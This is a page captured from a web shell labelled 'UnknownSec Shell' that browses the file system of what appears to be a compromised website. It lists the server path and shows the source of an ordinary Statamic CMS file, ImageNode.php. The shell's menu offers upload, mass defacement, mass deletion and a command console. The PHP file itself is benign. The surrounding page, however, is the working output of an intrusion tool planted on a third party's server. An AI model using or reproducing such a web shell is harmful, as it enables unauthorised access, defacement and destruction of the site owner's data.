shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Fieldtypes
/
Bard
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
ImageNode.php
<?php namespace Statamic\Fieldtypes\Bard; use Statamic\Facades\Asset; use Statamic\Support\Str; use Tiptap\Core\Node; use Tiptap\Utils\HTML; class ImageNode extends Node { public static $name = 'image'; public function addOptions() { return [ 'HTMLAttributes' => [], ]; } public function parseHTML() { return [ [ 'tag' => 'img[src]', ], ]; } public function addAttributes() { return [ 'src' => [ 'renderHTML' => function ($attributes) { $src = $attributes->src; if (! isset($src)) { return null; } $alt = $attributes->alt ?? null; if (Str::startsWith($src, 'asset::')) { $id = Str::after($src, 'asset::'); $src = $this->getUrl($id); $alt = $alt ?? $this->getAlt($id); } return [ 'src' => $src, 'alt' => $alt, ]; }, ], ]; } public function renderHTML($node, $HTMLAttributes = []) { return ['img', HTML::mergeAttributes($this->options['HTMLAttributes'], $HTMLAttributes), 0]; } protected function getUrl($id) { return Asset::find($id)?->url(); } protected function getAlt($id) { return Asset::find($id)?->data()->get('alt'); } }
© 2026 UnknownSec